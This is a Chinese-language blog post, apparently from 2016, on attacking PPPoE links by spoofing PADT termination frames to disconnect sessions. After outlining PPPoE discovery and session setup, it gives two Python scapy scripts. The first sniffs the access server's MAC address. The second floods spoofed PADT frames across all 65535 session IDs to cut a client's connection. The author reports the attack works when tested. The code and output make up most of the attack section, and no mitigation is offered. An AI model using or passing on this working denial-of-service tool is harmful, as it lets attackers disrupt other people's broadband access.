美文网首页
PPPoE攻击:PADT断开连接

PPPoE攻击:PADT断开连接

作者: 语文小子 | 来源:发表于2016-11-04 14:39 被阅读0次

    PPPoE协议是一个非常良好的协议,它具有带宽控制、用户认证、防ARP病毒等功能,基本上可以满足网络人员对用户的管理,多用于adsl拨号,许多运行商就是通过pppoe拨号对用户实现宽带接入

    本人在使用PPPoE协议过程中,对PPPoE协议进行了学习,发现PPPoE有一些不足,研究如下

    PPPoE认证分为两个阶段:

    第一阶段:发现阶段

    1. pppoe client广播发送PADI数据包建立连接
    2. pppoe server回复一个PADO单播帧
    3. client回复一个PADR单播请求,期望进行会话
    4. pppoe server回复一个PADS数据包,同意进行下一步协商(包中携带一个sessionid,作为用户的凭证之一)

    第二阶断:会话阶段
    双方使用PPP的LCP协议协商链路,NCP进行用户名密码检验,双方完成通讯


    在第一阶段pppoe会话重要依据就是双方的mac地址,在和sessionid

    在用户下线的时候,用户会发送PADT数据包进行协商,断开会话连接

    那么问题来了:如果我们冒充服务器(客户),向客户(服务器)发送伪造的特定格式的PADT数据包,会不会断开会话?基于这一思路,我利用python的scapy模块写出了一个程序,经过测试,这个思路完全正确,可以达到断开会话的目的

    攻击的原理:在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送病毒帧时,双方应该已经完成了第一阶段的会话

    由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接必须发送65535个数据包,所需时间较长

    攻击的python代码如下:

    这段代码可以获得PPPoE服务器的mac地址
    
    from scapy.all  import *
    from struct import *
    import threading
    
    def packet(code=0x09,len=12,macadd='ff:ff:ff:ff:ff:ff'):
        a=Ether()/PPPoE()/Raw()
        a.dst=macadd
        a.type=0x8863
        a.payload.version=1
        a.payload.type=1
        a.payload.code=code
        a.payload.len=len
        a.payload.payload.load=pack("12B",0x01,0x01,0,0,0x01,0x03,0,0x04,0x25,0x1d,0,0)
        return a
    
    def sniffPPPoE():
        c=sniff(filter='pppoed',count=2)
        c[1].show()
    
    t = threading.Thread(target=sniffPPPoE)
    
    if __name__ == '__main__':
        t.start()
        time.sleep(1)
        sendp(packet(code=0x09))
    
    这段代码可以断开连接,src地址需修改,为服务器mac地址,可由上面程序获得
    
    rom  scapy.all import *
    
    a=sniff(filter='pppoed',count=1)
    time.sleep(3)
    for i in range(65535):
        c=Ether()/PPPoE()
        c.dst=a[0].src
        c.src="00:0c:29:1e:c1:3a"
        c.type=0x8863
        c.payload.code=0xa7
        c.payload.sessionid=i
        c.payload.len=0
        sendp(c)
        print "send session:"+str(i)
    

    相关文章

      网友评论

          本文标题:PPPoE攻击:PADT断开连接

          本文链接:https://www.haomeiwen.com/subject/kvziuttx.html